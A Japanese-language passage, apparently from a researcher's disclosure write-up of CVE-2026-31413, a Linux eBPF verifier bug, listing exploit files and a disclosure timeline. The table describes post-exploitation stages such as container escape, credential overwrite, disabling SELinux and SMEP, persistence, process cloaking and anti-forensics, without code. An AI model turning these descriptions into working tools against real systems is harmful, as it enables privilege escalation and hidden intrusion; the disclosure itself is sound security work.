CVE-2026-31413 - Linux 7.0-rc5で修正。影響範囲: 6.12.75+ (stableバックポート) から 7.0-rc4 まで。
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| 層 | ファイル | 機能 |
|---|
| 1 | exploit.c / exploit_gke.c | コンテナエスケープ - vtable ハイジャック + modprobe_path の上書き (上記で説明したコアエクスプロイト) |
| v2 | exploit_gke_v2.c | データのみの cred 上書き - vtable ハイジャックなし、modprobe_path なし、ファイルシステム操作なし。task_struct レイアウトを自動検出。マップ破壊ウィンドウゼロ。推奨エクスプロイト。 |
| 2 | tier2_cred_overwrite.c | 直接的な資格情報の上書き - task_struct チェーンを辿り、現在のタスクを見つけ、struct cred の uid/gid/caps をゼロにして即座に root を取得 |
| 3 | tier3_syscall_hook.c | システムコールテーブルのフック - ページテーブルを辿ってシステムコールテーブルを書き込み可能にし、ハンドラを交換し、ユーザースペースから呼び出し、復元 |
| 4 | tier4_security_disable.c | セキュリティサブシステムの無効化 - SELinux、AppArmor、SMEP/SMAP/KPTI、dmesg_restrict、kptr_restrict を無効化し、/proc で検証 |
| 5 | tier5_cross_container.c | クロスコンテナ資格情報窃取 - nsproxy 構造体を列挙し、別の名前空間にあるターゲット PID の task_struct を見つけ、その creds を変更 |
| 6 | tier6_persistence.c | カーネルトリガー型永続化 - modprobe_path と core_pattern を上書きし、バイナリ形式エラーやクラッシュ時に攻撃者ペイロードを実行 |
| 7 | tier7_hardware.c | ハードウェアレベルのイントロスペクション - IDT をダンプし、CR0/CR4 を読み取り/デコードし、完全なパーミッションマトリクスでページテーブルを辿り、KASLR ベースを復元 |
| 8 | tier8_dkom_cloak.c | DKOM プロセスクローキング - 子プロセスを fork し、その task_struct を見つけ、カーネルのタスクリストからリンクを外し (ps/タスクイテレータから不可視)、再リンク |
| 9 | tier9_code_inject.c | ライブカーネルコードインジェクション - .text PMD を書き込み可能にパッチし、sys_getuid プロローグをシェルコード (mov rax, 0x1337; ret) で上書きし、ユーザースペースから呼び出し、復元 |
| 10 | tier10_anti_forensics.c | アンチフォレンジックス - printk リングバッファ内部をダンプし、フォレンジック変数 (ftrace、audit、dmesg_restrict、kptr_restrict) を改ざんし、カーネルログバッファテキストを読み書き |
| 日付 | イベント |
|---|
| 2026-01-14 | bffacdb80b93 が7.0-rc1で maybe_fork_scalars() を導入 |
| 2026-03-04 | バグを dea9989a3f として6.12.y stableにバックポート |
| 2026-03-11 | verifier監査中にバグを発見 |
| 2026-03-12 | OOB読み取り/書き込みを確認、エクスプロイトが動作 |
| 2026-03-13 | コンテナエスケープPoCが完了、ビデオを記録 |
| 2026-03-14 | パッチv3を [email protected] に送信 |
| 2026-03-22 | Alexei Starovoitovが bpf/bpf.git に修正をマージ |
| 2026-04-06 | Linusが bpf-fixes タグをmainlineにマージ |
| 2026-04-12 | Greg Kroah-HartmanによってCVE-2026-31413が割り当て |